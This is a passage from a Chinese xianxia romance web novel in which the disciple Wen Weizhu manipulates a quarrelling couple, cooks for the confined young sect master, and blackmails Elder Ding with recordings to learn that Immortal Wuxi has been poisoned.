陈青叶气哄哄的。
若是胡司敬在身旁,她真恨不得挠对方一顿。
两人坐在山腰上的凉亭之中,清爽的山风吹来,轻拂过温微竹的脸颊。
温微竹忍不住眯了眯眼。
“男人就是善变。”温微竹附和感慨,“以前胡师兄对你多好,现在他都会对你发脾气了。之前胖大叔说桂姐以前被内门弟子抛弃过,我还不信,现在想想,男人可能都不太靠得住……”
说着,温微竹忽然捂住嘴。
“对不起,青叶,我不是这个意思。胡师兄还是很好的,他是我见过最专情的人。”
陈青叶眼泪盈满了眼眶,她摇摇头,“微竹,你不用道歉,你说得对,胡司敬以前把我放在手心里,连一句重话都舍不得说,现在天天用各种难听的话骂我。他变了,他肯定不爱我了,呜呜……”
“胡师兄肯定还是爱你的,青叶,别乱想。”温微竹拍拍陈青叶的肩膀,安慰,“他肯定是因为王师兄的出现,感受到了威胁,所以才变得歇斯底里。”
“王师兄比他修为高,长得也比他好,还比他有钱,关键是也大方。这换作任何人一个人都会动心,胡师兄他自己也这么觉得,所以才会不安。”
“毕竟,比起一颗随时会变的心,能到手的利益才更踏实。他们男人可能都这么想吧。”温微竹揉揉陈青叶的头,脸上露出长姐一般都慈爱。
“可惜他们男人不理解我们女人只想要一颗真心。”
陈青叶靠在温微竹的肩膀上,半垂着眸,脸上没什么表情。
安慰了一番陈青叶,两人又絮絮叨叨说一通,陈青叶便下山去了。
温微竹坐在凉亭里,望向外门的方向。
以前的她,站在外门低洼的山坑里,时常抬头看向云萃峰的峰顶。
却不想,有一天,她能站在云萃峰的山峰上,看向曾经自己生活过的地方。
以前站在低处的自己,在高高的山峰面前,觉得自己渺小如尘埃。
如今,站在山峰之中,看向低处,却依旧觉得自己渺小如烟云。
没一会,果不出温微竹所料,胡司敬匆忙跑过。
“胡师兄。”温微竹唤了他一声。
胡司敬听见声音,望向温微竹,惊讶停住脚步:“温师妹,你怎么在这里?”
“刚才跟青叶聊了会天,就在这休息一会。你跟青叶吵架了?”
“青叶真的来找你了?”
胡司敬掉头来到凉亭。
“我跟她是拌了几句嘴,我都找她一天了,想来想去,也没别的地方可去,就来你这儿找找。”
胡司敬环顾四周,似乎是想看看陈青叶有没有在附近。
“你们怎么拌嘴了?青叶很生气,我还没见过她这么生气过。”温微竹一脸关切,引导胡司敬在一旁坐下。
“也没什么。”胡司敬不太想说,“她已经走了?”
“你们是不是有什么误会?她气得都开始跟我说胡言乱语了。”温微竹道。
“她跟
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你说什么了?”胡司敬冷着脸看向温微竹问。
“就、一些气头上的话。你是不是误会她什么了?她很伤心。”温微竹含糊其辞。
“我误会她什么了?”胡司敬气得站起来,声音也不知不觉大起来,“她都跟你说什么了?是不是说她跟王进则是清白的?”
温微竹仿若被吓到般往后缩了缩,“胡师兄,你冷静一点,青叶,她不是那样的人。”
“她不是怎样的?”胡司敬用手指指着自己双眼,“我两只眼睛会看,两人当着我的面眉来眼去,就差没当着我的面滚到一张床上去!”
胡司敬越想越气。
本来吵完架之后,还觉得自己当时有点口不择言伤人。
想找人回去道歉。
两人好好谈一谈,只要陈青叶肯收心,他也能原谅。
结果,陈青叶还好意思跟温微竹说她是清白的!
合着是他在无理取闹?
他就该心平气和的接受这顶绿帽子?
“我跟你说,陈青叶现在就是想琵琶别抱,丢下我投入王进则的怀抱!”
见温微竹想要开口,胡司敬打断她道:“我知道你是站在陈青叶这边,但我跟你说,陈青叶她就是想另攀高枝,把我当跳板。王进则不过是对她招招手,她就迫不及待想要踹了我,跟王进则跑了。”
“你们两个现在正在气头上,说出来的话都算不得数,等冷静下来之后,你们再好好谈谈。”温微竹温言劝诫。
“冷静?我已经很冷静了。”胡司敬阴沉着脸,“她现在就是想找个理由跟我散伙,好名正言顺跟着王进则跑!”
温微竹话还没说上,胡司敬丢下一句:“想都别想!”
转身就下山了。
温微竹站在凉亭里,望着胡司敬气冲冲离开的背影,冷笑一声,转身上山去。
对着一直放在无息仙尊身旁的寒髓剑,温微竹夸它:“废剑,这次做得不错。”
她的眼中露出冷漠的光,“以后,这座山峰,除了我,闲杂人等,都不许进来,听见了吗?”
寒髓剑闪烁了一下蓝色的光芒,这一次温微竹看见了。
她露出满意的笑容,转身去修炼。
无息仙尊的事情必须加快进程。
次日,在食堂吃饭的邓芳芳没想到会遇到温微竹。
从第一次在食堂见到温微竹,之后温微竹再也没在食堂出现过。
当温微竹站在她的面前,她惊讶得手里的勺子都掉了。
“温师姐,你怎么来食堂了?”
温微竹温柔一笑,将手中的伞递到她身旁,“来检测进度。”
“今天陈典和庄闲刚打了一架,其他的狐朋狗友们都在一旁持观望态度。”邓芳芳接过伞,“不是说不还?”
“有事找你就还,无事便不还。”温微竹微笑看着邓芳芳,“你做得很棒。”
离开食堂,温微竹就去了灵深峰。
于文峥在院子里修炼,看见温微竹,将摆在桌子上的篮子递到温微竹面前,道:“少宗主点的餐。”
温微竹接过一看,几个鹅蛋大小的蛋。
28. 给少宗主送饭
“少宗主说了,简单做做就行,不用给他大摆筵席做很多道菜。”
于文峥说完,又故意神神秘秘地说:“其实是少宗主怕你又为了食材,自己去冒险。所以叫我去后山掏了几个鸟蛋,让你随便做做。”
“哦。”温微竹乖巧点点头。
“还有,你昨日去后山了?”于文峥问。
温微竹不明所以,回:“嗯,去了一下。”
于文峥瞪大了双眼,“你胆子真不小,你知道后山都有些什么吗?你杂灵根就敢去?昨日我在的时候,你去的吗?”
“我就去边边上摘了点龙晴,摘了就回来了。”
温微竹倒是没想那么多,只是之前去冰泉取水的时候看见那边有龙晴树,想到可以用上,就去摘了下。
“嗯……”于文峥杵着下巴,“要不是少宗主跟我说,我还不知道。”
“算你命大,以后不要一个人去后山,后山什么奇怪的灵兽都有。”
说完,于文峥又兀自感慨,“你们杂灵根在修仙界,到底怎么活下来啊?”
温微竹拿着篮子往厨房走,于文峥亦步亦趋跟在身后,自我琢磨:“有没有什么方法能让你修为高一点?你现在这个修为,真怕你一个不小心就死掉了。”
温微竹一时竟无言以对,怎么在少宗主和于文峥眼里,她就跟个脆娃娃似的?
没认识他们之前,温微竹也在修仙界活了好几年,并且安全地活到了现在。
“洗髓?”温微竹放下篮子,准备厨具,随口回答于文峥。
于文峥震惊了一下。
之前他是十分抗拒让温微竹洗髓的,主要是那玩意不可确定性太多。
现在,他竟然对少宗主执着于让温微竹洗髓有点感同身受了。
这完全是温微竹这脆弱的修为,若是不时时看着,就没安全感。
可一个人怎么可能将另一个人盯那么紧?
总有看顾不上的时候。
不要求温微竹修为多高,但起码能保命也好。
于文峥犹疑了半天,试探着问:“温师妹,你对洗髓你怎么看?”
温微竹正在打蛋,不解地看了一眼于文峥,之前于文峥就探过她对洗髓的态度,怎么现在还问?
“都行吧,不太了解。”温微竹模棱两可道。
于文峥也不再说。
他决定,他要先去找点洗髓相关的资料,认真研究一番。
温微竹将蛋清与蛋黄分开,往装蛋清的大碗里滴了几滴朱栾汁,然后喊于文峥帮忙:“于师兄,帮我打发一下这个。”
“打发?”于文峥接过碗和筷子,一头雾水。
温微竹拿起装蛋黄的碗,用筷子示范了打蛋的动作,“就是这样。”
于文峥学着温微竹的动作,开始打发。
温微竹开始准备其他食材,过一会看一眼于文峥打发情况,然后加点白糖。
于文峥打累了,休息一下,问:“这么累的吗?”
“有机器可以打的,只是没买。”温微竹神色不变道。
“啊?你直接跟我说,我去买不就得了。用手打也太累了。”于文峥揉着酸痛的手。
他的手可是用来画阵法的,不像是少宗主拿来舞剑。
“我以为你们高修为的人做这种事是小菜一碟,不好意思啊,于师兄,要不还是我来?”温微竹露出歉意的表情,伸手要来拿于文峥手上的碗。
于文峥避开温微竹的手,继续手中打发的动作,“还是我来吧,要打成什么样?”
“打发的泡泡沾一下能成尖就行。”
“哦。”于文峥乖乖干活。
过一会,于文峥问:“你要做什么?”
“做个蛋糕。”
“那是什么东西?”
“一种松松软软的糕点。”
于文峥光是听温微竹描述就有点流口水了。
糟糕!他怎么也跟着少宗主变成吃货了?
不应该!
不应该!
伸手不见五指的禁闭室内。
栗烈听见有人来的动静之后,缓缓睁开双眼。
闭关对他也有好处,他可以专心修炼。
唯一不好的就是见不到温微竹。
正这么想着,黑暗中的身影摸索着往他的方向走,同时喊:“少宗主?这里好黑啊。”
栗烈无语。
“于文峥,你烦不烦!”
温微竹顿住脚步,她听见了少宗主的声音。
“少宗主,是我,温微竹,于师兄让我过来的。”
温微竹没想到禁闭室内黑得这么彻底。
她感觉有点窒息,但是强行让自己保持冷静。
汗湿的双手握紧手中的食盒,温微竹试探着朝着声音的方向走过去。
栗烈愣了一下,将身旁的煤油灯点燃。
在漆黑的禁闭室里,煤油灯的光芒显得格外微弱,但还是给了温微竹莫大的勇气与帮助。
温微竹急切地朝着光照的方向走过来。
“少宗主,于师兄让我帮你送饭过来。”走到近前,温微竹低着头,在一旁的小桌子上放下食盒。
栗烈望着眼前的人,上下打量了一下。
被打量的温微竹维持着镇定,抬头问:“少宗主,怎么了?”
确定于文峥装不了这么像,栗烈才收回视线,看向眼前的食盒。
“没什么,于文峥怎么让你过来了?”
温微竹松了口气,继续打开餐盒,想起于文峥推她过来时说的话。
“少宗主在禁闭室孤苦伶仃的,你去陪他说说话吧。”
于是实话实说:“于师兄让我过来陪你说说话。”
栗烈:“……”
栗烈静静地看着温微竹摆盘,视线落在温微竹脖颈上。
那里一片白皙,看不到半点伤痕。
栗烈伸手,蹭了一下脖颈上原本有伤痕的位置,指尖染上肉色的药膏,伤痕露出来它原来的面貌。
温微竹愣了一下,下意识往一旁躲。
栗烈望着指尖沾的药膏,一点也没觉得刚才的动作逾矩,问:“伤怎么样了?”
温微竹摸了一下被栗烈碰过的地方,不动声色挪了一下身子,“没什么问题,只是有点淤青。”
栗烈望着温微竹默默与他拉开的距离,收了手,静静等着温微竹将所有餐食从食盒拿出来。
接过温微竹递过来的筷子,栗烈随口问:“当时在藏书阁为什么不找我求救?”
烛火跳跃,收拾餐盒的温微竹动作一顿。
她不由抬头望向少宗主,少宗主的脸在暖黄的烛光下有一
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种非同寻常的柔和。
她张了张嘴,一时不知该如何说。
先不说当时他们聊的内容不适合让少宗主知晓,就算能让少宗主知晓,温微竹也从未想过有一天,当她遇到危险时,有可以求救之人。
最终,温微竹想了一个中规中矩不会出错的答案。
“当时情况太突然,没反应过来。”
“我之前就跟你说过,看见蒋明祐就用传讯螺联系我,但你明显没把这件事放心上。这一次,我可以原谅你。但我希望下一次。不止遇见蒋明祐,遇见任何危险,都可以联系我,可以吗?”
温微竹点点头。
看见少宗主吃了一口软软绵绵的蛋糕,眼睛露出亮光,温微竹不由露出微笑。
少宗主邀温微竹一起吃,温微竹婉拒,称自己已经吃过。
这倒是不是骗人,她和于文峥先吃了一点才来的。
栗烈一听温微竹和于文峥一起吃的,心中有些不是滋味。
想到之前在藏书阁碰见两人在一起,在山门两人也在一起……
“你最近经常和于文峥在一起?”
温微竹想了一下,“还好吧,偶尔会碰到。”
栗烈不爽。
咬东西的力道都大了一些。
想了想,栗烈问:“之前的问题,想明白了吗?”
温微竹一头雾水,“什么问题?”
“于文峥在荷塘里问的,我看到了当时的留影珠。”
温微竹想起来了,于文峥当时问她怎么看少宗主和他……
虽然是让她好好想想,但她怎么想也只能想到雇佣与被雇佣的关系。
可这个答案,貌似并不令这两个人满意。
温微竹不知道如何回答,因此转移话题,“少宗主生我的气吗?当时我转身离开。”
栗烈用勺子尝了一勺温热的蛋羹,香嫩润滑,口齿生香。
听见温微竹的话,嘴里的蛋羹直接滑入了食道。
“如果你说一个我能接受的理由,我就不生气。”
栗烈垂着眼帘,继续若无其事吃东西。
温微竹坐在对面,透过微弱的灯光望向少宗主的侧脸。
侧脸的线条流畅锋利,吃东西的时候,腮帮子一股一股,透着一股与他气质不太相符的可爱。
如果少宗主看了当时的留影珠,必定听到了她当时说的话。
当时于文峥听到她说少宗主多管闲事时,于文峥非常生气。
少宗主听到留影珠里自己说的话,是不是也很生气?
温微竹扣着自己的手指,脑海中闪过各种少宗主比较能接受的理由。
“我不想被蒋师兄缠上。”
温微竹侧头看向少宗主,直视着少宗主看过来的双眼。
“蒋师兄是因为少宗主才对我感兴趣,我与少宗主牵扯越深,蒋师兄越想纠缠。”
只要两人撇清关系,蒋明祐不可能会对一个杂灵根的普通女弟子感兴趣。
这个道理,少宗主不会不明白。
“当时我已经跟蒋师兄讲清了,蒋师兄对我也失去了兴趣。结果正好在要分开的时候,少宗主你出现了。”
栗烈喝了一口滑嫩的汤,将汤碗放下,正色道:“所以,我的出现,打破了你的计划,你更希望我视而不见是吗?”
29. 翻脸
温微竹一直对自己有清醒的认知。
替少宗主做事,当一个拿钱办事的下属,那才是符合她的身份,不会给自己惹麻烦的定位。
一旦超越这个界限。
对她来说,没有半点好处。
这些东西,可能少宗主无法理解。
对于他们这些身处高位的人来说,对普通人的怜悯更能体现他们的慈善。
也许其他人需要他们的同情与善良,但温微竹不需要。
从懂事开始,温微竹就明白一个道理。
万事只能靠自己。
“少宗主,”温微竹斟酌良久,才开口,“在回答你的问题之前,可否先问你一个问题?”
栗烈愣了一下,他刚才的话多少带点不满与质问。
因为怕吓到温微竹,他将自己的语气尽量放得平和,但依然具有一定压迫性。
可温微竹竟在这种情况下还能反问?
“你问。”
栗烈忽然怀疑自己对温微竹的印象是否有差池。
“当时,少宗主是出于什么理由出手呢?”
暖黄的光线下,温微竹的眼神透着求知的光芒,没有半点虚假的痕迹。
栗烈却被扼住喉咙般,被抓住了命脉。
他完全可以说是出于朋友的道义,甚至是出于正义……
但是他说不出口。
他不想说违心之言。
可……
“你走吧。以后让于文峥来送,你不用来了。”
栗烈把筷子一放,转身闭眼开始修炼。
温微竹没明白,少宗主为什么忽然翻脸。
因为她回避问题不回答,还反问吗?
可那也是她经过对方同意了的。
温微竹闷声收拾碗筷,脑子里飞速揣测着少宗主忽然生气的原因。
最终,她放弃了思考。
提着食盒,跟少宗主道别后,转身离去。
与少宗主保持距离,这本就是她的本意。
现在这般,正好。
从禁闭室出去之后,温微竹在藏书阁漫无目的逛了一会。
走到熟悉的地方,直面丁紫瑜又与男弟子在打情骂俏,温微竹一时竟无言以对。
丁紫瑜也看见了她,还笑着跟她打招呼。
温微竹翻了个白眼,道:“你的脸皮是不是太厚了点?”
丁紫瑜无所谓道:“有什么关系,你那里反正也有影像,多一个少一个有什么所谓?正好,把你手里的影像卖我一份,我给钱。”
温微竹冷笑了一声,道:“用这种方式试探我,以为我会上当?”
“我还真没,纯粹是想要,你录得可真棒,要不以后你专门给我录,我给你灵石,你不是想要灵石吗?”
丁紫瑜将一袋子灵石放入温微竹的手中,笑靥如花看着温微竹。
温微竹眯眼笑,“行,你定个时间。”
与丁紫瑜定下肮脏的交易,温微竹离开了藏书阁。
她真是一辈子都不想再踏入这个地方了。
本想再等两天的温微竹,当即决定去中堂广场找陈典。
陈典这两天很不爽,一直跟条狗一样跟在他身后的庄闲忽然跟他对着干,其他原本唯他马首是瞻的猪队友,看他的眼神也变得怪怪的。
偏偏,诸事不顺他还在下午时间段碰上了温微竹。
以往他看见温微竹就躲得远远的,温微竹也对他视而不见。
偏偏今天,温微竹看见他,不但没装看不见,还主动朝他打招呼。
这个女人,只要一找他,就没好事。
“躲什么?”
温微竹站在陈典面前,看起来温顺无害。
但陈典一看见她笑,就觉得她不怀好意。
“你找我什么事?”陈典没好气问。
“找你帮个忙。”温微竹微笑道。
“我为什么要帮你?我才不帮!”想到什么,陈典又忍不住问:“前两天,少宗主和蒋师兄打架,听说是为了一个女弟子,不会是你吧?”
当时听到这个传言的时候,陈典第一个怀疑的就是这个女人。
因为这个女人刚跟他问完少宗主的踪迹,他马上就发现了少宗主和她非同寻常的交际,他甚至经常看见她和于文峥在一起。
于文峥与少宗主可是形影不离的搭档。
跟于文峥走得近,不就是变相的和少宗主走得近。
更关键的是,这个女人刚跟他打听完蒋师兄的事情,蒋师兄就出现在了中堂。
以前,蒋师兄可从来没在中堂露过面!
而且别人不知道,他可是知道的。
那次少宗主与蒋师兄在中堂起冲突,当时那个女弟子,就是这个女人!
他觉得这个女人太可怕了。
什么样的男人她都能拿下。
温微竹挑挑眉,问:“你都听说了什么?我当时跑得那么快,不应该有人看见啊。”
“真的是你?我就猜是你,有弟子看见了,还把长相都描绘出来了。因为眼生,找不到对应人,也怪你长得……”
陈典噎了一下。
怎么说呢?
温微竹的长相不能说不好看,只能说好看得千篇一律,所以让人过目就忘,没有什么记忆点。
温微竹眯了眯眼,没想到有人看到她了。
那她被扒出来也只是早晚的事情。
“别说这些了。”温微竹打断陈典,“我想你带我去一趟万青峰,找丁长老。”
“你找丁长老干什么?”陈典瞪大了双眼,“不是吧?少宗主和蒋师兄你还不够满意,现在都打上丁长老的主意了?丁长老都算得上我师祖了,你这口味会不会太重了点……”
“你管那么多干什么?带我去就行了。”温微竹不耐烦道。
“我才不带你。万一你得罪了丁长老,我要被连带的!”
温微竹脸上带着毫无温度的笑意,貌似关切地问:“最近日子过得不太安稳吧,还想更倒霉一点是吗?”
陈典差点跳开,他瞪着温微竹:“是你干的?我说我最近怎么突然不顺!庄闲那二逼竟敢跟我叫嚣,原来是后面有你撑腰!”
陈典气冲冲,又不敢硬来,只敢抱怨:“你说你好端端的,又搞我干什么?”
“谁知道呢,”温微竹漫不经心道:“明天上午,中堂广场,我来找你。你带我去万青峰找丁长老。”
陈典想问你干嘛不找少宗主或者蒋师兄帮忙,但是温微竹已经转身走了。
温微竹出了中堂,去找到邓芳芳。
她将丁紫瑜的影像分类交给她。
邓芳芳一脸迷茫,问:“这是什么?”
“这
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是什么不重要,我有一件事要麻烦你。”
交代完邓芳芳,温微竹就回了云萃峰。
坐在无息仙尊的床前,温微竹第一次对着昏迷毫无知觉的无息仙尊絮叨。
“明天我就要去找丁长老问你昏迷的原因,这是我活这么多年来,最冒险的一次计划。”
“但我不想等了。”
温微竹抿唇。
对于杂灵根的她来说,无论她多么的安静等待寻找机会,常阳宗的宗主、长老这样的大人物,她甚至连见面的机会都找不到,更别说去找他们套信息。
她可以等蒋明祐,可蒋明祐那个人不靠谱,就算他查到了结果,他未必会告诉她。
就算真告诉她了,她也不敢完全信。
与其等蒋明祐,不如靠自己。
更何况,他不确定无息仙尊的身体什么时候会出问题。
夜间凉风习习。
温微竹坐在院子里打坐修炼。
坐了一会,她又起身,在院子里踱步。
心不静,就没法修炼。
她不得不承认,今日禁闭室里发生的事情,对她的心态有很大的影响。
少宗主生她气,与她划清界限,或许是觉得她不值得。
这本来也没什么。
温微竹从来没有期待过。
可毕竟少宗主与于文峥对她从来没有过恶意,甚至一度帮她度过了最艰难的时期。
温微竹后知后觉的意识到,自己是在可惜。
明知道与少宗主划清界限是正确的选择。
可事到如今,她竟然会觉得可惜。
她这样的人,竟然会有可惜这样的情感。
温微竹不自觉摸着自己的心口,那里与常人一样,在稳定地跳动。
但她从很小的时候就知道,自己与其他人不一样。
她可以面无表情结束小动物的生命,对他人的痛苦也无法共情。
甚至于对自己的苦痛,她都毫无感觉。
她不会哭,不会笑,没有喜怒哀乐这样的情感。
身边的人都喊她怪物,一边害怕她,一边欺负她。
她的父母冷眼看她,将她丢弃在最偏僻的院落,不闻不问。
刚开始她不明白,后来,她坐在院子里唯一的那颗树上,望着院子外人来人往的人群。
她终于学会了伪装。
伪装成一个正常人的样子。
她学会了温柔的笑,学会了附和人们的话语,模拟他们的情感。
她会观察对方,说出对方最想听的言语。
但她讨厌人群。
可她无法脱离人群生活。
她得赚钱,才有饭吃。
无法脱离人群的她,学会了在人群中降低存在感。
扎最普通的发髻,化最普通的妆容,穿随处可见的衣裳,低眉顺眼,即使大家看见她,也会直接忽略她的存在。
这么多年,她都是这么过来的。
早些年的时候,她还对所谓的感情有好奇。
等她见识到了情感的肮脏,她就再也不曾试图理解所谓的情感。
可现在,为什么?
她竟然会觉得可惜……
“如果可能的话……”
温微竹想。
“少宗主,我会给你今日想要的答案。”
30. 花心
万青峰的空气中都飘着一股药香。
常阳宗的药修和丹修几乎都聚集在万青峰。
因此连这里的空气,都有一种别样的味道。
温微竹很顺利地见到了丁长老。
弟子给丁长老通报的时候,丁长老正好炼完一炉丹药。
他长着一张慈爱救世的菩萨脸,由于年纪,脸部肌肉松弛,看起来却更加的和蔼可亲。
“小娃娃,找我可有什么事?”丁长老微笑看着温微竹,眼里并没有上位之人对他人的傲慢,反而很慈爱。
温微竹看人从不看表面,她并没有因为丁长老的亲切而放松警惕。
“丁长老,弟子有点私事想与丁长老谈谈,不知丁长老可否移步单独一叙?”
丁长老不动声色打量眼前的女子,杂灵根,炼气期的修为,这样的人,有什么私事能跟他谈?
两人移步到后厅,丁长老在主位坐下,道:“现在好了,有什么事说吧。”
温微竹站在一旁,直奔主题:“丁长老,弟子想问一下无息仙尊的身体,具体是什么情况?”
正低头喝茶的丁长老在听到无息仙尊的瞬间,锐利地眼神透过杯盏投到温微竹的身上。
温微竹明显感觉周边的威压朝她威逼而来,她从陈典那儿得到的信息是,丁长老是元婴后期。
修仙界很多人,天赋到头之后,停留在某个境界,就再也无法精进。
丁长老的极限便是元婴。
往后的每一年,他都无法往前走,反而可能因为衰老,心魔等各种原因,境界倒退。
但是很快,这种威压就消失了。
显然刚才那一下,只是丁长老下意识的反应。
“你是哪一峰的弟子?为什么关心这个?无息师侄灵台受损,在云萃峰闭关养伤,这是众所周知的事情,你想知道什么?”
“丁长老,我想知道无息仙尊灵台受伤的具体情况,以及如何才能治好?”
温微竹脊背笔直,望着丁长老的目光坚毅。
丁长老静静听着,并未发言。
“您不需要用敷衍外人的那一套来敷衍我。我现在是照顾无息仙尊的杂役弟子,无息仙尊的情况很糟糕,可以说生死一线也不为过。当初无息仙尊的情况是您诊断的,现在面临这个情况,您不会不知情吧?”
“哦,你叫温微竹?就是那个从外门找来的……”
丁长老望向眼前的女子。
似乎与下人跟他汇报的情况并不相符。
下人明明跟他说的是,找了一个安静老实只会埋头做事,性格孤僻,无父无母又无朋友的绝佳背锅侠。
“那看来您知道我。那无息仙尊的事情,您也是知情人之一,这样事情就好办了。”温微竹轻笑了一声,将手中的留影珠丢了几颗给丁长老。
她在一旁坐下,坐姿端正礼貌,说的话却不是那么恭敬。
“麻烦您跟我说说无息仙尊的情况,我只想知道无息仙尊灵台受了什么伤,以及应该怎么治,其他的我不感兴趣。”
在丁长老接过珠子生气之前,温微竹先安抚道:“您别急着生气,也别急着碾死我这只小蚂蚁。您要不先看看手中留影珠的内容?”
丁长老刚打开看一眼,就铁青着脸关上了。
温微竹慢条斯理道:“看您的表情,对您女儿的风流韵事,似乎也不是全然毫无所知。事实上,我听了不少您的贤名与您女儿对无息仙尊多么忠贞不渝的美名,可事实,好像有点不一样啊。”
丁长老脸上的慈祥不见了,松弛的肌肉变成了横肉,冰冷狠戾。
“你以为你一个杂灵根,随便拿点不入流的东西就威胁得到我?”
“我这怎么是威胁,我只是在跟丁长老做个交易。”
“您不用想着毁掉手里的这些,我手里有的是备份,您也不用想着杀了我就一了百了。”
“我既然敢只身来这里,就是做足了准备。今日只要我没有走出万青峰,不用到明天,常阳宗的弟子手中,保证人人一颗这样的珠子。”
砰的一声,杯盏砸在地上,碎成千万片。
丁长老冷嗤了一声,“就你这些小把戏,还想糊弄我?杀你?在杀你之前,我有的是办法找出你的同党,用药,用毒,就算这些都不行,还可以搜魂,你一个炼气期修为的人,哪来的勇气跟我谈判?”
温微竹四肢冰冷,她的脸上保持着微笑,却只是望着丁长老,没有发言。
她早知道丁长老没有那么好糊弄,可走到这一步,她也是无路可走。
如果她今日真的死在丁长老手中,那也是她为无息仙尊做的最大努力,即便还不了那救命之恩,那也是她这个小人物用生命去试过了。
“既然我敢来,自然是有些底气在身上的。”藏在袖子里的手紧紧捏着,“丁长老应该听说了少宗主与蒋明祐师兄在藏书阁打架的事情吧?”
“你想说什么?”丁长老盯着眼前明明看起来弱小的女子,琢磨着这么弱小的一个人,还能耍什么把戏。
“那您可知少宗主与蒋师兄是为了一个女子而打的架?”
“你想说他们是为了你?”丁长老发出不屑的声响。
“您可以不信,我今日与少宗主还有蒋师兄分别的时候,跟他们说我今日要找丁长老拿点药,若是今日我没有出现,他们过来找你要人,不知道情况会如何。”
温微竹故意停顿了一下。
“毕竟是明知道我脚踏两条船,还舍不得动我的人。”
丁长老瞪大了双眼,用难以置信地目光盯着温微竹。
温微竹站起身,将头上的簪子取下,黑藻一样的头发瀑布般垂下。
丁长老望着温微竹的背影还未回神,转过身来的,是与刚才那个普普通通的完全不一样的女子。
遮住额头的碎发被随手卷起,用簪子固定在发髻之中。
眉间藏珠,那颗原先被碎发遮住的浅色朱砂痣,似有若无,初看似婉约,细看又似妩媚,无端引人注目。
温微竹的眉眼也一改之前的温驯圆润,一双桃花眼配着弯弯的柳叶眉,眼窝深邃,鼻梁高挺,温婉之中又透着张扬。
修
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真界不缺美女,然饶是见过各种美女的丁长老也不得不承认,眼前的女子,不仅美,还美得独具特色。
大气又婉约,冷艳又风情万种。
那种矛盾的美感,直戳人心。
这和刚刚那个人还是同一个人吗?
“不用觉得我普通而自信。”温微竹侧目而来,凝脂一般的肌肤透着上古美玉一般的质感,“我对自己的美貌有充分的认知。”
温微竹重新坐下,浑身散发着一种运筹帷幄的气质。
“丁长老,我只是想知道无息仙尊的一点点病情而已。您没必要为了这么点事,既影响您和您女儿的声誉,又得罪少宗主与蒋明祐两人。”
丁长老一脸严肃,似在衡量。
“不要打歪主意。”温微竹微微一笑,桃花眼荡漾着粼粼的光,“我只是炼气期,您的药在我身上副作用会非常明显,一旦我感觉身体不适,我都会回去跟少宗主他们告状。如果您真惹急了我,说不定我就跟少宗主他们说,您为老不尊,占我便宜……”
丁长老甩袖站起,在厅中踱步。
“你既然已经得到了少宗主与蒋师侄的心,又为何对无息师侄的事情这般操心?”
“我既能花心两个,自然也能花心三个,这一点,我的想法跟您的女儿倒是不谋而合。”
丁长老:“……”
思索了一会,丁长老道:“我可以跟你说,无息师侄不是灵台受伤,而是中毒。他如今奄奄一息,也是因为毒性蔓延,覆盖了整个灵台。”
顿了一会,他继续道:“他的毒无药可解,不然你以为宗门会放任天灵根就这么去死?”
温微竹神色一凛,她有怀疑过是无息仙尊是中毒,但没想到是因为这毒无药可解,所以宗门不救。
“你确定这毒无药可解?无息仙尊中的是什么毒?”
丁长老凝视了温微竹一会,才道:“这毒的确无解,是黑蚀砂,一种专门侵蚀灵台的毒。”
“丁长老莫不是诓我吧?”温微竹紧盯着丁长老的目光,让丁长老避无可避,“黑蚀砂这种魔界的毒,怎会出现在这里?”
“你知道黑蚀砂?”丁长老由衷惊讶,这个女人真不容小觑。
“我虽然是杂灵根,修为也很低,但我不是一无所知的蠢货。丁长老不如跟我说点实话?”
黑蚀砂是魔界的一种虫子,用来制毒。
这个,温微竹在《灵物万千详解》里看到过。
她本也只是诈一下丁长老,没想到丁长老确实在诓她。
“你要实话,我也不骗你,无息师侄的确是中毒无药可救,具体是什么毒,我也不知道。跟你随便说一个毒也只是增加可信度。事实就是,我们也不知道什么毒,试过很多方法,解不了,只能等死。”
话说到这份上,温微竹知道,无论丁长老说的是真是假,她在丁长老这里,再得不到更多信息。
“那就多谢丁长老了。弟子叨扰了。”
温微竹说完,转身毫不犹豫离去。
丁长老盯着温微竹离去的背影,陷入沉思。
31. 倒入少宗主怀中
温微竹刚走到山峰,紧咬的唇露出一丝血色。
等候多时的陈典忽然冒出来,温微竹咽了咽喉间的血腥味,警惕地看向突然冒出的人。
陈典愣了一下,不太确定地又看了一眼,随后红着脸颊挠头致歉:“不好意思,这位师姐,我刚认错人了。”
温微竹瞟了一眼陈典,继续下山。
回到云萃峰,才到院子里,温微竹就再也压抑不住,一口鲜血吐了出来。
元婴期的威压,哪怕只有那么短短一瞬,对炼气期的她来说,也非同小可。
她能撑着离开万青峰,已是极限。
五脏六腑剧痛,温微竹踉跄着扶住院子里的篱笆,灰乌鸦察觉到不对劲,飞过来围着她焦急地嘎嘎叫。
“我没事。”温微竹挥挥手,让灰乌鸦回窝里去。
强撑着回到房间,温微竹翻了一粒伤药吞入口中。
内脏的疼痛稍有缓解,但这伤药只是普通伤药,能轻微地减轻疼痛,却无法治愈她的内伤。
温微竹躺在床上缓了一会,等眼前一阵一阵发黑过去之后,她才从床上爬起来。
将头发重新挽起,补了妆,温微竹转身下山去。
来到中堂广场,温微竹一眼就看到了在课堂门口溜达的邓芳芳。
邓芳芳也在第一时间看见了她。
温微竹若无其事朝她点点头,便从她身边擦身而过,进了课堂。
邓芳芳确定温微竹无事,在课堂门口等了一会,见里面已经开始正常授课,她才转身离开。
五脏六腑如被火灼烧一样疼,温微竹本想着课堂上休息休息,之后再去灵深峰给少宗主做饭。
但她低估了内伤,她吃的伤药等级太低,没什么作用。
上课中途的时候,温微竹实在受不住,悄悄起身,打算去药房拿点药。
未料,刚从课堂走出来,迎面就碰上了在万青峰等候半天没等到人的陈典。
此时中堂广场没什么人,温微竹避无可避。
陈典一眼就看见温微竹,疾步过来,道:“你什么时候下山的?我一直在路口等你,愣是没看见你人影!”
“我下来很久了,你自己看漏了吧。”
温微竹面无表情,没有闲心跟陈典聊天,只想快点把他打发走。
她皱了皱眉,转身就走,“我有事先走了,你有什么事,下次再说。”
“唉——”
陈典情急之下拽住了温微竹的袖子,将本就站立不稳的温微竹拽了个踉跄。
温微竹竭力保持平衡,冷眼瞪着陈典,“干什么?”
陈典打量温微竹的脸,就是这冷脸瞪人的模样,好像更像了。
“你……”
陈典有些不确定,但越想越怀疑。
“放手!”温微竹冷声甩开陈典的手,“离我远点。”
陈典被吼得老实收回手,也不敢再说话,眼睁睁看着温微竹甩袖扬长而去。
刚走几步,正碰上一群弟子有说有笑走过来。
温微竹眼前发黑,喉间腥甜。
她不能在人群之中晕倒。
这么想着,温微竹撕碎了袖中的传送符。
